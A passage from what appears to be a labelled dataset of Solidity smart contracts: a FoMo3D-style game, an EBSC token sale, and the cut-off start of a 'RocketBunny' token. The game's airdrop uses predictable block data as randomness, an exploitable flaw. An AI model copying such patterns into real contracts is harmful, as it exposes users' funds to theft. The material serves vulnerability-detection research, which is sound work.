if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract EBSCToken is StandardToken, BurnableToken, Ownable {
string public constant name = "Ether Based Source Chain";
string public constant symbol = "EBSC";
uint8 public constant decimals = 18;
string public constant website = "www.ebsc.io";
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant CROWDSALE_ALLOWANCE = 800000000 * (10 ** uint256(decimals));
uint256 public constant ADMIN_ALLOWANCE = 200000000 * (10 ** uint256(decimals));
uint256 public crowdSaleAllowance;
uint256 public adminAllowance;
address public crowdSaleAddr;
address public adminAddr;
bool public transferEnabled = true;
modifier validDestination(address _to) {
require(_to != address(0x0));
require(_to != address(this));
require(_to != owner);
require(_to != address(adminAddr));
require(_to != address(crowdSaleAddr));
_;
}
function EBSCToken(address _admin) public {
require(msg.sender != _admin);
totalSupply = INITIAL_SUPPLY;
crowdSaleAllowance = CROWDSALE_ALLOWANCE;
adminAllowance = ADMIN_ALLOWANCE;
balances[msg.sender] = totalSupply.sub(adminAllowance);
Transfer(address(0x0), msg.sender, totalSupply.sub(adminAllowance));
balances[_admin] = adminAllowance;
Transfer(address(0x0), _admin, adminAllowance);
adminAddr = _admin;
approve(adminAddr, adminAllowance);
}
function setCrowdsale(address _crowdSaleAddr, uint256 _amountForSale) external onlyOwner {
require(_amountForSale <= crowdSaleAllowance);
uint amount = (_amountForSale == 0) ? crowdSaleAllowance : _amountForSale;
approve(crowdSaleAddr, 0);
approve(_crowdSaleAddr, amount);
crowdSaleAddr = _crowdSaleAddr;
}
function transfer(address _to, uint256 _value) public validDestination(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public validDestination(_to) returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
if (result) {
if (msg.sender == crowdSaleAddr)
crowdSaleAllowance = crowdSaleAllowance.sub(_value);
if (msg.sender == adminAddr)
adminAllowance = adminAllowance.sub(_value);
}
return result;
}
function burn(uint256 _value) public {
require(transferEnabled || msg.sender == owner);
super.burn(_value);
Transfer(msg.sender, address(0x0), _value);
}
}
contract EBSCSale is Pausable {
using SafeMath for uint256;
address public beneficiary;
uint public fundingGoal;
uint public fundingCap;
uint public minContribution;
bool public fundingGoalReached = false;
bool public fundingCapReached = false;
bool public saleClosed = false;
uint public startTime;
uint public endTime;
uint public amountRaised;
uint public refundAmount;
uint public rate = 6000;
uint public constant LOW_RANGE_RATE = 500;
uint public constant HIGH_RANGE_RATE = 20000;
bool private rentrancy_lock = false;
EBSCToken public tokenReward;
mapping(address => uint256) public balanceOf;
event GoalReached(address _beneficiary, uint _amountRaised);
event CapReached(address _beneficiary, uint _amountRaised);
event FundTransfer(address _backer, uint _amount, bool _isContribution);
modifier beforeDeadline() { require (currentTime() < endTime); _; }
modifier afterDeadline() { require (currentTime() >= endTime); _; }
modifier afterStartTime() { require (currentTime() >= startTime); _; }
modifier saleNotClosed() { require (!saleClosed); _; }
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
function EBSCSale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint fundingCapInEthers,
uint minimumContributionInWei,
uint start,
uint end,
uint rateEBSCToEther,
address addressOfTokenUsedAsReward
) public {
require(ifSuccessfulSendTo != address(0) && ifSuccessfulSendTo != address(this));
require(addressOfTokenUsedAsReward != address(0) && addressOfTokenUsedAsReward != address(this));
require(fundingGoalInEthers <= fundingCapInEthers);
require(end > 0);
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
fundingCap = fundingCapInEthers * 1 ether;
minContribution = minimumContributionInWei;
startTime = start;
endTime = end;
setRate(rateEBSCToEther);
tokenReward = EBSCToken(addressOfTokenUsedAsReward);
}
function () public payable whenNotPaused beforeDeadline afterStartTime saleNotClosed nonReentrant {
require(msg.value >= minContribution);
uint amount = msg.value;
uint currentBalance = balanceOf[msg.sender];
balanceOf[msg.sender] = currentBalance.add(amount);
amountRaised = amountRaised.add(amount);
uint numTokens = amount.mul(rate);
if (tokenReward.transferFrom(tokenReward.owner(), msg.sender, numTokens)) {
FundTransfer(msg.sender, amount, true);
checkFundingGoal();
checkFundingCap();
}
else {
revert();
}
}
function terminate() external onlyOwner {
saleClosed = true;
}
function setRate(uint _rate) public onlyOwner {
require(_rate >= LOW_RANGE_RATE && _rate <= HIGH_RANGE_RATE);
rate = _rate;
}
function ownerAllocateTokens(address _to, uint amountWei, uint amountMiniEbsc) external
onlyOwner nonReentrant
{
if (!tokenReward.transferFrom(tokenReward.owner(), _to, amountMiniEbsc)) {
revert();
}
balanceOf[_to] = balanceOf[_to].add(amountWei);
amountRaised = amountRaised.add(amountWei);
FundTransfer(_to, amountWei, true);
checkFundingGoal();
checkFundingCap();
}
function ownerSafeWithdrawal() external onlyOwner nonReentrant {
require(fundingGoalReached);
uint balanceToSend = this.balance;
beneficiary.transfer(balanceToSend);
FundTransfer(beneficiary, balanceToSend, false);
}
function ownerUnlockFund() external afterDeadline onlyOwner {
fundingGoalReached = false;
}
function safeWithdrawal() external afterDeadline nonReentrant {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
msg.sender.transfer(amount);
FundTransfer(msg.sender, amount, false);
refundAmount = refundAmount.add(amount);
}
}
}
function checkFundingGoal() internal {
if (!fundingGoalReached) {
if (amountRaised >= fundingGoal) {
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
}
}
function checkFundingCap() internal {
if (!fundingCapReached) {
if (amountRaised >= fundingCap) {
fundingCapReached = true;
saleClosed = true;
CapReached(beneficiary, amountRaised);
}
}
}
function currentTime() public constant returns (uint _currentTime) {
return now;
}
function convertToMiniEbsc(uint amount) internal constant returns (uint) {
return amount * (10 ** uint(tokenReward.decimals()));
}
function changeStartTime(uint256 _startTime) external onlyOwner {startTime = _startTime;}
function changeEndTime(uint256 _endTime) external onlyOwner {endTime = _endTime;}
} | 1 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RocketBunny {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
